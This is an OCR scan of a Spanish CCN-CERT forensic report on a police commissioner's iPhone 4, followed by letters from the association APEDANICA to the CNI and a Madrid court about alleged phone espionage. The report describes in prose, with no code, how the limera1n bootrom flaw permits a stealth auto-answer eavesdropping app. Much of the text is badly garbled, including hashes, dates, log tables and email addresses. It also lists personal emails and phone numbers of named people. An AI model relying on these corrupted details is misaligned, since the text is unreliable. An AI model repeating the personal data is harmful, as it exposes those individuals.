¥y la distribucion de ejemplares del mismo mediante algulier © préstamo peblicos.
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CON-CERTIT~11/16 Teléfono MovE iPhone &

1. SOBRE CCN-CERT

B CCN-CERT {www.ccn-cert.cnles) es la Capacidad de Respuesta a incidentes
de Seguridad de la informacion dei Ceniro Crptolégice Nacional, CCN. Este servicio se
cred en el afic 2006 como CERT Gubernamental Nacional espuafiol v sus funciones
quedan recogdidas en la Lley /2002 reguladora del Centro Nacional de Inteligencia,
el R[> £21/2004 de reguiacion del CCN vy en el RD 372010, de 8 de enero, reguiador del
Esauerna Nacional de Seguridad, modificado por el RD 95172015, de 23 de ociubre.

De acuerdo a todas elias, el CCN-CERT Hene responsabilidad en ciberatagues
sobre sistemas clasificados vy sobre sistemas de las Administraciones Pdblicas v de
empresas y organizaciones de interés eshratégico para el pafs. Su misién, por tanto, es
contribulr a o mejora de la ciberseguridad espafola, siendo et ceniro de alerta vy
respuesta nacional que coopere v ayude O responder de forma rdpida v eficlente clos
ciberatagues y ¢ afrontar de forma activa las ciberamenczas.

Dr. (PhD) Ing. Miguel Gallardo perito judicial investigador www.miguelgallardo.es/audio.pdf


http://www.cvisiontech.com

Asociacion APEDANICA Tel. 902998352 www.cita.es/apedanica.pdf PUBLICADO en www.cita.es/cni-iphone.pdf

CON-CERTH —-11/16 Teléfono Movll iPhone 4

JF1FaRFdARE 2k evd PHITOREADPICESTT
nElan itk HHrmiasy vetsion ToERRL0 N

ELE0 fapacity 1453

Dahos e ususry p o sistemy EFF Vursion B8

e g Advaritegr Hpple i teiormr e Tt
rgginnaeeriirenipioanoo as W% ¥ersinn iPhone G 7313 {11057
HEORHITA BEEERUT D Laet fondd EOOID SERLNFEEOMNEIRGTTIE
SRRHITIEONIITIRITRE Fiheorw Ny ~BUEIELAGREF
SEEGENIINTEF THBE ATl MAL LRERECOIRIEES

T Aaetiralion Siate et 1
Eiroptittar Loate Lannmge s I

Fripl

Lompaber WATAIsAr Adminisagr

$DBAITIL BARROGIT LB

Figura 4-1, Detalles de la primera extraccion

5. EVIDENCIAS FORENSES

Se dispone de dos exiracciones forerses reglizadas sebre el mismo teléfonc pero
realizadas en distintos dias. Los datos de las exiracciones disponibles san los siguientes:

iPhonedGSM_7.1-7.1.2 Physical_17-12-14 131-G5-32.img

ATELS3EA00ARNA HISOBES DZEFI6DMEVEBAQZESD32TOALF3675F FAGOES1360R20G
15,855.189.760

17712/ - 3034 11:34:53 {UTC+1)

iPhonedGSM_7.1-7.1.2 Physical 17-12-14 11-05-32, UFD
DFFERB3EIEETDIZRELL 1ARAFABOEESDIBOFVEFI28725938B037 24526 DDFEICAD
2.608

e :
PhoredGSM_7.1-7.1.2 Physkeal 28.07-15 13-26-54.img
22600075555 1EDSEBGERTETOT7EIFBIFESCRLTIIABALB03G7CBICTIDOODLFDE
15.955.189.760

28/07/2015 — 13:26:58 fUTC+1)

PhonedGSM_7.1-7.1.2 Physical 29-057-15 13-26-54.UFD
CASOSADERAFRC0ZB3135DAZALEDBOAAEFGORCCDASEAZ 19BF I5EF1CRB7AMSFGBET
1,933

28/07/2015 - 13:26:55 (UTC+ 1)

Al realizorse las exfracciones en distinias fechas v ai no haber estodo detenido el
feléfono mdvil, ias exiracciones presentan diversas diferencios molivadas o ia
actividad realizada por el usuario con el teléfono y a la inferaccion del teléfono moévil
con las aplicaciones instalados e intemet.

Una de los diferencias existentes, es el nimero de cuentas asociadas a 1o
servicios de Apple. Bstas cuentas permiten, enire ofras funciones, balarse e instalar
aplicaciones en el movil, resolver incidencias, elc.

En la primera extraccion {del 17/12/14] se han enconirando los siguientes "Apple
1D
« “rociopererlorente@yahoo.es
= “lelecomunicaciones.fax@gmail.com ¥
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»  hipd fwww dinosec.com/fdocs/Android-
Back_to_the_future_Too_Rooted2015_RauiSies-DinoSec_v1 .0.pdf

»  hitpy/ fwww.youtube.com/walchev=cEXu8Cw1Dyo

Adicionclmente, el disposifive objetc del informe presenia  diversas
vulnerabilidades CRITICAS, presentes en el ntcleo o SoC {System on Chip) modelo A4
gue posee el ferminal, permitiendo e control 1otal del feléfone, como por eiemplo ias
vulnerabilicdades “meraln" o “Shatter” (htips://www.theiphonewiki.com/wiki/SSL8930).

Figura 6-2. System on Chip A4 del iPhone 4

Estas vulnerabilidades gue agfecton al hardware del dispositivo SOLO se pueden
evitar/solucionar SUSTITUYENDCO el dispositivo por un modeloe mdas nuevo basado en
otra version de SoC no vuinerable.

Adiunto ol informe se presenfa ef documento “Andisis fécnico de i
vulnerabilidad “limeraln” en el iPhone 4" elaborado por el consultor de seguridad Radl
Slles de la empresa Dinosec, donde se recoge pasc ¢ paso come explotar o
vulnerabilidaod  "kmeraln”™ y como  instalar una  aplicacion que  enire sus
funcionaiidades estd 1o de responder de forma automdatica v sin la infervencidn del
usuaric a digunas fomadaos recibidas, Adicionaimente, la gplicacion presenta un
modo sitiencioso [Steatth Mode) pora que el feléfono no emita ningdn sonido asociado
a la lamada enfrantre, de forma que el Vsuglio No seda conscienie de la misma, no
mostrandose ni siquiera que hoy una flomada activa v ne dejondo regisiro en el
histérice de llamadas recibidas,

A continuacion se muestran diversas imagenes de la aplicacién “Auto Answer”,
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En cambio en la segunda extraccion {del 29/07/15}) |, es el siguiente;

Figura 7-2, Registre actividad dia 20/10/2014 perdeneciente ¢ lu segunda exfraccién

7.1 REGISTRO DE LLAMADAS

Los dispositivos iPhone solo almacenan las dliimas 100 llamadas  [recibidas,
rediizadas, folidas y boradas por el usuano), por o que NO existen registros de
Kamadas en los dias 20 y 21 de octubre de 2014,

§i existen registros de lomadas anteddores a esa fecha, pero son lamadas
registradas por fa aplicacién “FaceTime” que poseen los iPhone, la cual permite
establecer lamadas sobre IP [canal de datos) de audio y voz con ofro ferminal iFhone,

Cuando el registro de lamadas alcanza el ntmero maximo (100}, la liamada mas
antigua regisirada es borrada de forma automdatica para incluir la nueva, por o que el
registro de lamadas puede solo contener uno o dos dias en aguelios usuarios gue
tengaon un elevado rdfico de llamadas (rebicidas, realizadas o perdidas).

7.2 TELEFONC 4652972428

Los Unicos datos que aparecen en las distintas extracciones del nimere de
teléfong "652972428" son dos ;

+  Mensdle SMS remitido por fa operadora movil indicando "Liamada Perdida”,
el pasado dia 7 de noviembre de 2014, como se observa en la siguienie
imagen:

Parties 852970428
DRIFTINEE

Figura 7-3. Registro existente del teléiono 452972428
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Y

2014, B teléfono, supuesiamente, se encuenira encendido de manera ininferrumpida
desde el dia 30 de sepliembre de 201 4.

7.5 REDES WIFI

A continuacién se muestra a refacidn de puntos de acceso o los que se ha
coneciado el ferminal, cigunos de ellos son puntos de acceso NO controlados por
personal de lg Organizacion.

151170008 BIAETRUTC 0 BFIIA01 108 01 ATRBSAREL
0000008 S TIETCAST o poatktoeice  MANECC L
20082014 TSV BNTCA zma,rzm z&zeéo{'um&:' ' 'm«;awu@,ae ' ﬂwm&wp
zmsfmaam?‘sggu'rc% Cop e HecomAtigg
26/09/2013 TIARTLUUTC D [I/09/201 mz,as{m‘c-m_ Ec;ca;sm:a;;w Comune & Palermmo
7520822014 mmm; - bemsanaiseranitean  paisakaioy o etecoed3a0800s
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30072018 TEBAORICA0] | - B0V LIASARIUTCE | JE0ROIDERF . Hoimerwi6 o
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Figura 7-6. Redes WIiFl a las gue se ha conectado el Terminal

Como se ha observado en i imagen, la Gitima red WIFi a la que se ha
coneciado el terminal para su accese G redes pablicas/privadas ha sido una red con

&l nombre S3id

8. TRAFICO DE DATOS

"WLAN_S?DF".

En el teléfono solo existen datos registrados por aquellas aplicaciones que se
encuentran instaladas v que por su operatividad diaria pueden guoardor datos de

ulizacion, entre ellas se encuentran,

el cliente de coneo elecirdnico, el navegador

empleado {Safar) vy los programas de mensajeria/chat (Whaisapp).

Se han encontrado el siguiente trdfico de datos corespondiente a visita de
pdAginas web, envio de SMS ¢ envio de comeo electrénico siguientes:

Bia — HORA {UTC+0}

Tipo de trifico

20/16/2014 - 17:30:37

Corree elocirénico de mmartin@®yolicie.es para

info @casassg Coen

2071972014 - 21:33:21

mmanin@po!ma 25

23/10/2034 — 08:03:55

5848 BEVA Mdvi!

28010/20%4 - 10:32:24

menertin@policia.es

21/30/2014 - 14:05:06

35 Llamada perdida al n® 658867760

21/10/2014 ~13:51:07

Visita paging Web de 20minutos.es
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s com.indsa.md.,

Por la informacion residudal, el dispositivo se ha idenfificado como clienie con

nomero "WEBZAMO3461", segun indica &l archivo
“Data/mobiie/ Applications/ CAEA?169-AF2A-40DB-BC79-F2A8583E345C /Mebiledesk
MDM.app™.

Supuestamente, el Gltimo intento de  conexidn se redlizé el posado dia 12 de
noviembre de 2013 a las 151610 {UTC+E).

Se ha observado gue la aplicacion actualizd sus datos el pasado dia 6 de julio
de 2013 a las 07:58:36 {UTC+0}, desde enfonces, no se ha observado acividad
relevante.

9.2 COMSec

Lo aplicacion “"COMSec" permite comunicacionss seguras enfre aquelos
dispositivos que posean [a misma aplicacion.

La informacidn resicut encontrada an el archivo
*fDctaimobiie/ Applicalionsf ASBBE281-1COA-4EBE-AC26-
EBEFCZ62GFOB/Documenis/iogiiie.txi” indica que, supuestamente, e UHimo infenio de
conexion se realizd el pasado dia 26 de diciembre de 2013 alas 18:14:11 {UTC+O).

10. BORRADO DE APLICACIONES

Existen distintos métodos para eliminar del terminal aplicaciones © inCluso
archivos, como por ejemplo;

o Desde el icono mostrado en el terminal v seleccionando la opcidn
"desinstalar”.

o Desde un equipc conifunes v coneciado el moévil a fravés del cable USB,

» instalando aplicaciones validas" cuya funcién sea el borrado de
informacién o la lberacidn de espacio, come por ejemplo
“Phonebxponder” y "PhoneClean”.

+ iniciondo el movil con alguno de los modos especiales e insfalando
cuakguier aplicacién cuya funcidn sea la de borrado, como por ejempio
“iCleaner”.

independieniemente del método ¢ aplicacion empleados, si se realiza con éxito,
el sistemna operative generagimenie no registra este 1ipo de acciones.

11. CONCLUSIONES

La evidencig forense indica que:

+« [l feléfono movil presenta vuinerabilidades criticas que pueden pemitir el
condrol total, ionto de forma local como remota, de TODAS los
funcionalidades del mismo, pudigéndose redizar cualquier accidn sobre el
dispositivo como afadir aplicaciones, borrar arehivos, bomar regisiros, elc.
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aplicacidon “ffunes”, pudiendo no quedar informacién residual de as
acciones realizadas.

+ Los dispositivos moviles suelen tener una forea programada que de forma
avtomdtica gestiona el disco de esfado solide que emplean pora
oplimizar el rendimieno de sus terminales, por lo que la informacion
borrada posade un empo, suele ser destruida de forma automdatica.

» [l eléfono se ha coneciade o puntos de acceso WIFL piblicos que
pueden incrementar el nimerc de riesgos Y amenazaos.

s H teléfono se ha actualizadoe o se ha vuelto a reinstalar i version 7.1.2
[11D257) el pasado dia 30 de sephiembre de 2014,

12. POC

Se puede ampliar cudlquier punto del informe. utilizando como via preferente de
comunicacion el porial hitp:/fwww.cen-cerf.cnies

> Teléfono: +34 91 372 59 74

¥  E-Mail: cen-cert@onies

Para comprender la importanciay trascendencia de
este documento recomendamos leer
http://lwww.cita.es/juzgado-iphone.pdf
http://www.cita.es/habeas-smartphone.pdf

y en inglées http://www.cita.es/fcc-complaint
http://www.miguelgallardo.es/fcc-complaint.pdf

En la asociacion APEDANICA estamos a la disposicién de todo el que pueda aportar
documentos, testimonios y pericias contra el espionade de teléfonos méviles y también
de antenas falsas IMSI-CHATHERS o STINGRAYS como las denunciadas en
http://www.cita.es/querella-ai y http://www.miguelgallardo.es/querella-ai.pdf
http://www.cita.es/ampliando-ai y http://www.miguelgallardo.es/ampliando-ai.pdf
http://www.cita.es/reitera-ai y http://www.miguelgallardo.es/reitera-ai.pdf

El Juzgado de Instrucciéon 2 de Madrid ha ignorado esos tres documentos, y también
http://www.cita.es/juzgado-iphone.pdf por lo que han sido 4 los documentos ignorados.
Nos remitimos a todos ellos y a http://www.miguelgallardo.es/ignorancia-deliberada.pdf
ofreciendo nuestro teléfono (+34) 902998352 y el email: apedanica.ong@gmail.com
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ANEXO con firma digital para Félix Sanz Roldan Secretario de Estado director del
Centro Nacional de Inteligencia CNI

apedanica ong <apedanica.ong@gmail.com> 7 de noviembre de 2016, 21:04
Para: ccn-cert@cni.es
Cc: cni@cni.es, "mailsigned@egarante.com" <mailsigned@egarante.com>

ANEXO con firma digital para
www.cch-cert.cni.es
> Teléfono: +34 91 372 59 74

Félix Sanz Roldan Secretario de Estado
director del Centro Nacional de Inteligencia CNI
Documento con firma digital en www.miguelgallardo.es/felix-sanz-roldan.pdf

Hemos tenido acceso a una copia de su escrito de fecha 31.3.16 dirigido al Juzgado de al
Centro Instruccién n° 2 de Madrid, que adjunto. Antes de cualquier otra consideracion yo
deseo confirmar que las 28 paginas de que consta son auténticas y que termina diciendo
textualmente: Se puede ampliar cualquier punto del informe, utilizando como via preferente de
comunicacion el portal http.//www.ccn-cert.cni.es

La asociacion APEDANICA a la que desde 1992 tiene el maximo interés por ampliar ese
informe, mas aun considerando los documentos que también se adjuntan.

La secretaria general del Centro Nacional de Inteligencia CNI, Beatriz Méndez de Vigo
Montojo, tiene pendiente de resolver la solicitud de hace ya casi dos meses que puede verse
publicada en http://www.cita.es/cni-upm.pdf

Nos preocupa que funcionarios publicos con cargos de direccion y dedicacion completa en la
Universidad Politécnica de Madrid UPM puedan administrar empresas que se benefician de
convenios con el CNI, al mismo tiempo que el CNI contrata a empresas privadas para
proporcionar lo que un juzgado le requiere. Son conocidas mis denuncias contra funcionarios
empresarios ilegales en la Oficina de Conflictos de Intereses desde hace tiempo pero también
quiero que se sepa que los funcionarios que se dedican a negocios es dificil que puedan
dedicarse bien a sus funciones publicas, especialmente en tecnologias complejas. En
definitiva, que unos se dediquen a lo que no se deben dedicar, mientras que no se dedican a lo
que si deberian dedicarse con mayor entrega y calidad de resultados. Pero repito que quiero
reservar mis Ultimas opiniones “ad hoc” hasta que se me confirme que la documentacién
adjunta es auténtica y completa, mejor aun si se amplia y actualiza.

Ignoro hasta dénde puede proporcionar informacién sobre todo lo que adjunto, pero sea cual
sea en cada momento agradeceré que se amplie y actualice al maximo.

Dr. (PhD) Miguel Gallardo, Tel. 902998352 Fax: 902998379 apedanica.org@gmail.com
Asociacion APEDANICA C/ Fernando Poo 16-6°B E-28045 Madrid, SPAIN (ESPANA)

https://mail.google.com/mail/u/1/?ui=28&ik=dc8be3bd5e&view=pt&search=sent&msg=1584064abbd4d4898&simI=1584064abbd4d489 1/5


http://www.ccn-cert.cni.es/
tel:%2B34%2091%20372%2059%2074
https://docs.google.com/document/d/1hKq98eV41NydDI-6Eue--52TqaSpRGv-hbLhPAZqX_E/edit
http://www.miguelgallardo.es/felix-sanz-roldan.pdf
http://www.ccn-cert.cni.es/
http://www.cita.es/cni-upm.pdf
http://www.miguelgallardo.es/audio.pdf
mailto:apedanica.org@gmail.com

7/11/2016 Gmail - ANEXO con firma digital para Félix Sanz Roldan Secretario de Estado director del Centro Nacional de Inteligencia CNI
Se adjuntan los documentos que también pueden verse en Internet
http://lwww.cita.es/cni-iphone.pdf
http://www.cita.es/juzgado-iphone.pdf
http://www.cita.es/habeas-smartphone.pdf

http://www.miguelgallardo.es/fcc-complaint.pdf

Al Juzgado de Instrucciéon 2 de Madrid, Dil.Prev. 4676/14 Pieza Il por el fax 902998379 con copia para
Juzgado de Instruccion 11 Dil.Prev. 3034/2013 y también para Fiscalia Especial contra Criminalidad
Informéatica (Elvira Tejada de la Fuente) y Abogacia del Estado documento con firma digital publicado
en www.cita.es/juzgado-iphone.pdf

Hemos tenido acceso al informe de EL FISCAL Alfonso San Roman de fecha 8.6.16 que entendemos
que no esta sometido a ningun secreto sumarial y con la maxima publicidad al alcance de la Asociacion
APEDANICA hemos trasladado a la empresa APPLE nuestras inquietudes y preocupacion porque lo
ocurrido en el iPhone corporativo utilizado por Marcelino Martin-Blas mientras era Comisario de Asuntos
Internos y conversaba con funcionarios del Centro Nacional de Inteligencia CNI, pueda ocurrir ahora
mismo, o haya ocurrido en el pasado en mas casos, en cualquier otro teléfono mévil.

APEDANICA lleva tiempo investigando el espionaje de teléfonos movies SMARTPHONES y en el
especial caso de esta Pieza Il de las Dil.Prev. 4676/14 del Juzgado de Instruccion 2 de Madrid tenemos
entendido que el Centro Criptoldgico Nacional CCN del CNI subcontratdé a una empresa privada para que
un perito particular explicase lo ocurrido en el iPhone corporativo utilizado por Marcelino Martin-Blas, sin
resultado relevante alguno. No podemos comprender cémo existiendo numerosas plazas de funcionarios
publicos tanto en la universidad publica como en el Consejo Superior de Investigaciones Cientificas CSIC
de supuestos expertos en seguridad informatica, telefonia mévil y criptoanalisis forense, no se ha
requerido ya el informe de tantos funcionarios publicos como sea necesario, y por otra parte, tampoco
comprendemos coOmo no consta ya en las actuaciones un informe de la empresa APPLE con toda la
informacion de que dispone, o puede conseguir actualmente sobre la vulnerabilidad de los Apple iPhone 4
conocida como “Limeraln” y también sobre cémo reconstruir todo lo ocurrido que pueda ser
presuntamente delictivo.

Por una parte, este juzgado y el juez instructor Arturo Zamarriego Fernandez conoce y tiene
documentadas las actividades particulares de funcionarios publicos como peritos privados durante afios
de empresas como BOLIDEN vy entidades privadas como la Sociedad General de Autores y Editores
SGAE, asi como la utilizacion de recursos publicos para proteger, incluso de la mas correcta critica, tales
negocios privados de funcionarios publicos. No es decente ni admisible que ante la gravedad de los
hechos de los que informa Alfonso San Roman ni un solo catedratico o profesor titular de universidad, ni
tampoco profesor de investigacion o investigador titular del CSIC haya emitido ninguna opinién sobre lo
ocurrido en el iPhone corporativo utilizado por Marcelino Martin-Blas, al mismo tiempo que el CNI y el
CCN financian, o informan favorablemente para que se financien proyectos tecnoldgicos en los que
funcionarios publicos pueden enriquecerse sin limite ni control eficaz alguno.

Por otra parte, basta con buscar APPLE en el Boletin Oficial del Estado BOE para hacerse una idea de lo
que las Administraciones Publicas han pagado para que muy diversos cargos y funcionarios publicos,
incluyendo senadores y diputados nacionales o autondmicos, utilicen teléfonos APPLE iPhone
susceptibles de ser espiados como Alfonso San Roman dice por escrito que lo ha sido, repetimos, nada
menos que el iPhone corporativo utilizado por Marcelino Martin-Blas mientras era Comisario de Asuntos
Internos y conversaba con funcionarios del Centro Nacional de Inteligencia CNI, lo que nos parece muy
alarmante.

En resumen, considerando lo informado por EL FISCAL Alfonso San Roman con fecha 8.6.16, y
considerando que se trata de un teléfono corporativo, parece ser que suministrado a la Administracion
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General del Estado por una de las multinacionales mas solventes del mundo, instamos al juzgado a que, a
la mayor brevedad, REQUIERA:

1° Informe completo y detallado a la representacién legal de APPLE en Espafiia

APPLE MARKETING IBERIA SA

DENOMINACION SOCIAL CIF FECHA CONSTITUCION

APPLE MARKETING IBERIA SA A58022724 01/07/1985

OBJETO SOCIAL / ACTIVIDAD

CNAE 4618 - Intermediarios del comercio especializados en la venta de otros productos especificos

CAPITAL SOCIAL REGISTRO

- Madrid

DoOMICILIO ¥ TELEFONO FAX

CRA DE SAN JERONIMO 1 (MADRID). 913542900 916613810
PAGINA WEB E-MAIL REDES SOCIALES
www.apple.com/es informacion@euro.apple.com

ORGANO ADMINISTRACION PRESIDENTE AUDITOR

Consejo de administracion Ortiz Finnemore Luis Jonathan ERNST & YOUNG SL

2° Que el juzgado nombre peritos con absoluta garantia de independencia a tres funcionarios con
reconocida competencia en seguridad informatica y criptologia, asi como en telefonia mévil y cuanto se
evidencia como necesario para conocer, al menos, para garantizar que el espionaje de iPhones similares
0 incluso mas antiguos que el corporativo utilizado por Marcelino Martin-Blas mientras era Comisario de
Asuntos Internos y conversaba con funcionarios del Centro Nacional de Inteligencia CNI no puede volver
a ocurrir. La asociacion APEDANICA considera inadmisible que no exista un responsable en la
Administracion que pueda garantizar que la telefonia movil corporativa utilizada por cargos y funcionarios
publicos es segura. Es altamente sospechoso e indicio de corrupcion que habiendo contratado APPLE
con la Administracion el suministro de gran numero de teléfonos iPhone no haya funcionarios capaces de
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coordinar una accién mas eficaz contra el espionaje en la telefonia moévil corporativa de miembros del
Cuerpo Nacional de Policia.

APEDANICA combate activamente, y con publicidad sin contemplaciones ni complejos, toda

IGNORANCIA DELIBERADA vy los conflictos de intereses que posibilitan corrupcién, cobardia e
incompetencia en la Administracion. Sefialamos con sus nhombres y apellidos especialmente a todos los
cargos y funcionarios publicos responsables de delitos, abusos y negligencias en informatica y
comunicaciones avanzadas. Hacemos publica, nuestra critica opinion sobre el enjuiciamiento del
espionaje en Espana. El Juzgado de Instruccion 45 conoce bien nuestros esfuerzos y nosotros su
perezosa lentitud pusilanime en relacion al espionaje masivo de redes Wi-Fi reconocido por Google
estando pendiente la apelacion que mantenemos en www.cita.es/apela-google y podemos ofrecer mas
referencias contra el espionaje en juzgados www.cita.es/apela-chrome y www.cita.es/querella-flexispy
entre otras muchas mas referenciables en Internet). Sabemos que muchos particulares estan
completamente indefensos ante sus propios proveedores de Internet y/o telefonia y que multinacionales
como APPLE, Google, Nokia y Microsoft toleran productos como FLEXISPY Spy Phone Mobile Spy
MSPY cuya funcién “espiolégica” ilegal es, aparentemente, la misma que detectada en el iPhone
corporativo utilizado por el comisario Marcelino Martin-Blas. Tenemos la fundada sospecha de que la
vulnerabilidad “Limera1n” ha sido mucho mas utilizada de lo que se ha detectado, y también que existen
productos ilegales especificamente disefiados para ello. Instamos al Juzgado a que lo investigue a
fondo.

APEDANICA reitera también aqui todo lo ya manifestado en este Juzgado en la querella pendiente de
admisién en www.cita.es/querella-ai ampliada en www.cita.es/ampliando-ai y reiterada en
www.cita.es/reitera-ai de la que no tenemos noticia judicial alguna.

Por lo expuesto, al Juzgado se solicita que tenga por hechas estas manifestaciones y peticiones de
APEDANICA requiriendo a APPLE y nombrando a peritos funcionarios publicos con garantias de
independencia y solvencia tecnoldgica especifica, en Madrid, enviado por fax y correo electrénico al
Juzgado con fecha de la firma digital en este documento publicado en Internet www.cita.es/juzgado-
iphone.pdf

Se adjunta documento también en

www.cita.es/espionaje-iphone.pdf

que incluye informe de EL FISCAL

al que hacemos aqui referencia.

@APEDANICA Tel. (+34) 902998352
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